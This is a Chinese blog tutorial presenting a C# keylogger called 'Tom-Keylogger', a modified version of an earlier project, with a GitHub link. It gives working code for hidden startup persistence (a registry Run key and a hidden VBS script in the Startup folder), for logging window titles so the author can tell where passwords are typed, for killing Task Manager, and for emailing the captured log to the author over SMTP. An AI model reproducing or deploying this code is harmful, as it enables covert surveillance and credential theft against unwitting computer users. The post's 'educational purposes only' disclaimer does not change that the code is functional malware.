Tom-Keylogger(鍵盤記錄器)

trojan.jpg

前言

本keylogger是在 Email-keylogger基礎上進行的二次開發(fā)。

新增加的功能有

  • win10,win7系統(tǒng)下實現(xiàn)開機自啟動
  • 實時記錄當前用戶開啟的程序和窗口文字

若有什么不足之處,還請?zhí)岢鼋ㄗh,附上這個 APP 的 Github 地址 Tom-Keylogger 歡迎大家 :heart: star 和 fork.

本文的主要內(nèi)容

  • 窗口句柄記錄,按鍵記錄,email效果演示
  • win10,win7系統(tǒng)下實現(xiàn)開機自啟動實現(xiàn)
  • 實時記錄當前用戶開啟的程序和窗口文字
  • 如何成功實現(xiàn)發(fā)送txt文件到郵箱

1.窗口句柄記錄,按鍵記錄 效果演示:

screenshot.png

2.email記錄效果演示

email.png

2. win10,win7系統(tǒng)下實現(xiàn)開機啟動實現(xiàn):

(1)win7下實現(xiàn)開機啟動

        public static void Start()
        {
            //    MessageBox.Show("設置開機自啟動,需要修改注冊表", "提示");
        
            string path = Application.ExecutablePath;
            RegistryKey rk = Registry.LocalMachine;//讀取 Windows 注冊表基項 HKEY_LOCAL_MACHINE
            RegistryKey rk2 = rk.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");
            rk2.SetValue("JcShutdown", path);// exe 加入開機啟動:)
            rk2.Close();
            //MessageBox.Show("Added To Started Up Successfully :) ");
        }
  • 代碼很簡單,只是將啟動的項目名稱、文件位置添加到啟動項即可,在win7下成功實現(xiàn)。win10下打開任務管理器中的啟動項目可以發(fā)現(xiàn)該程序,但是開機后程序并沒有
    運行,這就牽扯到了第二種方法。

(2)win10下實現(xiàn)開機啟動

        public static void startup()
        {
            //Try to copy keylogger in some folders
            string source = Application.ExecutablePath.ToString();//當前可執(zhí)行文件的路徑
            Console.WriteLine(source);
            string destination = Environment.GetFolderPath(Environment.SpecialFolder.Startup);//開機啟動區(qū) 路徑
            Console.WriteLine(destination);
            destination = System.IO.Path.Combine(destination, "kl2.exe");// 將兩個路徑合二為一
            try
            {
                System.IO.File.Copy(source, destination, true);// 把當前文件 復制到 開機啟動區(qū)去
                source = destination;
            }
            catch
            {
                Console.WriteLine("No authorization to copy file or other error.");
            }
            
        }
  • 首先我寫了一個startup()函數(shù)用于將當前的exe文件拷貝到StartUP文件夾
        public static void CopyVbs()
        {
            
            string destination1 = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
            string destination = System.IO.Path.Combine(destination1, "AutoStart.vbs");
            if (!System.IO.File.Exists(destination))
            {
                StreamWriter sw = new StreamWriter(destination);
                sw.WriteLine("Set shell =Wscript.createobject(\"WScript.Shell\")  ");
                sw.WriteLine("shell.Run \"kl2.exe\",0,False");
                sw.Close();
                File.SetAttributes(destination, File.GetAttributes(destination) | FileAttributes.Hidden);
            }
        }
  • 接著我寫了一個函數(shù),用于在StartUp文件夾下新建一個vbs文件,然后用StreamWriter 使得該vbs的內(nèi)容為運行kl.exe

  • 這樣,當開機時,系統(tǒng)會自動運行腳本,腳本的內(nèi)容為運行kl.exe。(僅僅將kl.exe拷貝到StartUp文件夾是無法開機自啟動的,本人親自試過)

3.實時記錄當前用戶開啟的程序和窗口文字的實現(xiàn):

public static void GetActiveWindowTitle(object source, EventArgs e)
        {
            const int nChars = 256;     
            handle = GetForegroundWindow();
            StringBuilder Buff = new StringBuilder(nChars);
            GetWindowText(handle, Buff, nChars);          
            txt = Buff.ToString().ToCharArray();
            string t = DateTime.Now.ToString("yyyy-MM-dd H:mm:ss");
            if (!IsFileInUse(path))
            {
               // if (handle != handle1)
                if(!CheckChar(txt1,txt))
                {
                    StreamWriter ww = File.AppendText(Program.path);
                    ww.Write("\n");
                    ww.Write(t);
                    ww.Write(" ");
                    ww.WriteLine(Buff.ToString().ToCharArray());
                    ww.Close();
                   // handle1 = handle;
                    GiveChar(txt1,txt);
                }
            }
        }

算法大概是這樣的

1.用GetForegroundWindow函數(shù) 得到當前運行在 最前排的程序的句柄handle

2.通過GetWindowText函數(shù)將handle轉(zhuǎn)換為StringBuilder

3.然后將StringBuilder轉(zhuǎn)換為CharArray

4.接著我寫了一個CheckChar函數(shù),用于防止句柄重復寫入。代碼如下

 public static bool CheckChar(char[] a, char[] b)
{
    int m = Math.Min(a.Length, b.Length);
    for (int i = 0; i < m; i++)
    {
        if (a[i] != b[i])
        {
            return false;
        }
    }
    return true;
}

5.最后則是將CharArray寫入文件,將CharArray賦值,用于下次對比。

(網(wǎng)上的其他方法是直接對比handle來防止重復寫入,這種方法是不可取的。如:當在Google Chrome中切換標簽時,句柄并未發(fā)生變化,CharArray發(fā)生了變化
,這時程序就無法正確監(jiān)控用戶是在哪個網(wǎng)頁輸入了密碼。這算是我在做這個功能時遇到的一個很大的坑吧~~)

4.如何成功實現(xiàn)發(fā)送txt文件到郵箱

C#作為高級語言真的很方便實現(xiàn)網(wǎng)絡編程,直接用微軟封裝好的 System.Net.Mail 就足夠了

代碼如下

        public static void OnTimedEvent(object source, EventArgs e)
        {

            Process[] ProcessList = Process.GetProcesses();//為每個進程資源 創(chuàng)建組件
            foreach (Process proc in ProcessList)
            {
                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
                {
                    proc.Kill();//關閉任務管理器
                }
            }
            //發(fā)送郵件
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
            msg.To.Add("**************");
            msg.From = new MailAddress("***********", "********", System.Text.Encoding.UTF8);
            string _ComputName = System.Net.Dns.GetHostName();
            msg.Subject = _ComputName;
            msg.SubjectEncoding = System.Text.Encoding.UTF8;
            msg.Body = "L";
            msg.BodyEncoding = System.Text.Encoding.UTF8;
            msg.IsBodyHtml = false;
            msg.Priority = MailPriority.High;//郵件優(yōu)先級 最高
            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
            client.Credentials = new System.Net.NetworkCredential("**********@hotmail.com", "************");
            client.Port = 587;
            client.Host = "smtp.office365.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(Program.path);
            msg.Attachments.Add(data);//添加 附件
            try
            {
                client.Send(msg);
                failed = 0;
            }
            catch
            {
                data.Dispose();//釋放掉 資源 
                failed = 1;
            }
            data.Dispose();

            //if (failed == 0)
              //  File.WriteAllText(Program.path, ""); //如果發(fā)送成功 則 將txt清空  防止發(fā)送相同數(shù)據(jù)

            failed = 0;
        }
  • 你只需要將代碼中的****** 替換為自己的賬號密碼即可
  • 需要注意的是,源程序中采用的smtp協(xié)議是gmail,本人親測后發(fā)現(xiàn)由于網(wǎng)絡原因無法實現(xiàn)按周期發(fā)送。
  • 多次嘗試后,發(fā)現(xiàn)只有hotmail可以滿足成功實現(xiàn)。但是發(fā)件箱和收件箱必須同時開啟smtp和pop3協(xié)議。

結(jié)語

以上便是我寫這個 APP 的具體實現(xiàn)思路,以及踩過的一些坑,記錄下來,給大家看看。

This tutorial is for educational purposes only, please do not use this for malicious purposes.

最后附上這個 APP 的 Github 地址 Tom-Keylogger 歡迎大家 star 和 fork。

如果有什么想法或者建議,非常歡迎大家來討論。


最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

  • 1、引導方式1)uefi是新式的BIOS,legacy是傳統(tǒng)BIOS;2)UEFI下安裝的系統(tǒng)只能用UEFI模式進...
    松舍問霞閱讀 851評論 0 0
  • 看標題或許你會問移動硬盤不就是儲存資料的嗎?一般我們會把電影,音樂,各種文件儲存在里面 如果只是這樣那你低估了移動...
    安哥的blog閱讀 3,023評論 1 7
  • 這是一個簡單的應急響應場景,介紹下基礎的一些東西,分為Windows和Linux,系統(tǒng)日志和Apache日志都已被...
    LMcream閱讀 928評論 0 9
  • 使用電腦這么多年,我覺得有兩條原則還是蠻重要的,套用喬幫主的話: Stay simple, stay smooth...
    阿穎sxcw閱讀 9,224評論 85 315
  • 我是黑夜里大雨紛飛的人啊 1 “又到一年六月,有人笑有人哭,有人歡樂有人憂愁,有人驚喜有人失落,有的覺得收獲滿滿有...
    陌忘宇閱讀 8,839評論 28 54

友情鏈接更多精彩內(nèi)容